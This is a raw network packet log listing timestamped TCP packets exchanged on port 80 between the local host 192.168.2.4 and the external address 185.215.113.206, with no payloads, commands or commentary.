Nov 20, 2024 12:57:56.432097912 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.432117939 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.432117939 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.432149887 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.432322979 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.432334900 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.432368994 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.432374001 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.432385921 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.432396889 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.432408094 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.432418108 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.432425022 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.432430029 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.432446003 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.432521105 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.432703972 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.432717085 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.432766914 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.432766914 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.432836056 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.432847977 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.432858944 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.432873011 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.432883978 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.432893038 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.432893038 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.432909966 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.432923079 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.432931900 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.432943106 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.432952881 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.432952881 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.432952881 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.432965040 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.432997942 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.432997942 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.433481932 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.433492899 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.433502913 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.433512926 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.433523893 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.433533907 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.433541059 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.433541059 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.433546066 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.433557987 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.433568001 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.433577061 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.433587074 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.433587074 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.433588028 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.433602095 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.433626890 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.433626890 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.433981895 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.433991909 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.434003115 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.434012890 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.434022903 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.434022903 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.434024096 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.434061050 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.434061050 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.434248924 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.434261084 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.434271097 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.434281111 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.434290886 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.434294939 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.434303045 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.434314013 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.434324980 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.434330940 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.434330940 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.434340954 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.434371948 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.434371948 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.434381008 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.434392929 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.434403896 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.434413910 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.434423923 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.434433937 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.434433937 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.434433937 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.434449911 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.434462070 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.434469938 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.434473038 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.434485912 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.434495926 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.434495926 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.434535980 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.435285091 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.435296059 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.435317993 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.435328007 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.435338974 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.435348034 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.435350895 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.435352087 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.435360909 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.435372114 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.435380936 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.435381889 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.435391903 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.435398102 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.435406923 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.435415983 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.435415983 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.435416937 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.435430050 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.435439110 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.435448885 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.435457945 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.435458899 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.435458899 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.435468912 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.435478926 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.435494900 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.435494900 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.435528040 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.436206102 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.436218023 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.436232090 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.436243057 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.436253071 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.436264038 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.436273098 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.436274052 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.436273098 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.436285019 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.436295986 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.436306000 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.436307907 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.436309099 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.436317921 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.436328888 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.436337948 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.436348915 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.436357021 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.436357021 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.436395884 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.436395884 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.519439936 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.519501925 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.519512892 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.519571066 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.519571066 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.519804955 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.519815922 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.519828081 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.519872904 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.519872904 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.519958973 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.519969940 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.520013094 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.520107031 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.520117998 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.520143032 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.520143032 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.520282984 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.520289898 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.520301104 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.520311117 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.520320892 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.520330906 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.520340919 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.520351887 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.520361900 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.520369053 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.520369053 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.520402908 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.520402908 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.520750046 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.520761013 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.520771027 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.520781040 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.520792007 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.520802021 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.520812988 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.520816088 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.520816088 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.520823956 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.520848989 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.520848989 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.521018028 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.521025896 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.521037102 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.521085024 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.521215916 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.521226883 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.521236897 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.521246910 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.521280050 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.521280050 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.521364927 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.521375895 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.521425009 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.521425009 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.521675110 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.521686077 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.521696091 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.521707058 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.521717072 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.521727085 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.521728039 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.521728039 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.521857023 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.521868944 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.521878004 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.521888971 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.521894932 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.521894932 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.521899939 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.521945953 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.521945953 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.522280931 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.522291899 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.522301912 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.522313118 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.522322893 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.522332907 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.522346020 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.522346020 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.522383928 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.522383928 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.522409916 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.522420883 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.522631884 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.522644043 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.522669077 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.522669077 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.522763968 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.522774935 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.522784948 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.522799969 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.522799969 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.522826910 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.522942066 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.522953033 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.522962093 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.522973061 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.522994995 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.522994995 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.523220062 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.523284912 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.523296118 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.523305893 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.523324013 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.523333073 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.523339987 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.523350954 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.523361921 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.523369074 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.523369074 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.523417950 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.523427963 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.523437977 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.523448944 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.523451090 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.523451090 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.523617029 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.523627996 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.523638964 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.523648977 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.523653984 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.523653984 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.523660898 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.523672104 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.523683071 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.523694992 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.523705006 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.523705006 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.523894072 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.524306059 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.524362087 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.524411917 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.524424076 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.524435043 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.524445057 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.524455070 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.524461031 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.524467945 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.524467945 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.524472952 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.524511099 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.524511099 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.524557114 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.524569035 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.524580002 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.524590969 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.524600029 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.524610043 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.524620056 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.524625063 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.524625063 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.524633884 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.524645090 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.524652004 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.524652004 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.524656057 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.524667978 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.524691105 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.524691105 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.524753094 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.525212049 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.525223017 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.525233030 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.525243044 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.525253057 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.525280952 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.525280952 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.525361061 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.525372028 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.525389910 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.525401115 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.525410891 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.525422096 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.525422096 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.525422096 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.525465965 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.525516033 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.607572079 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.607589960 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.607666016 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.607676983 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.607688904 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.607744932 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.607744932 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.607851028 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.607861996 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.607872963 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.607913017 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.607913017 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.608012915 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.608023882 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.608035088 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.608047009 CET	80	49756	185.215.113.206	192.168.2.4
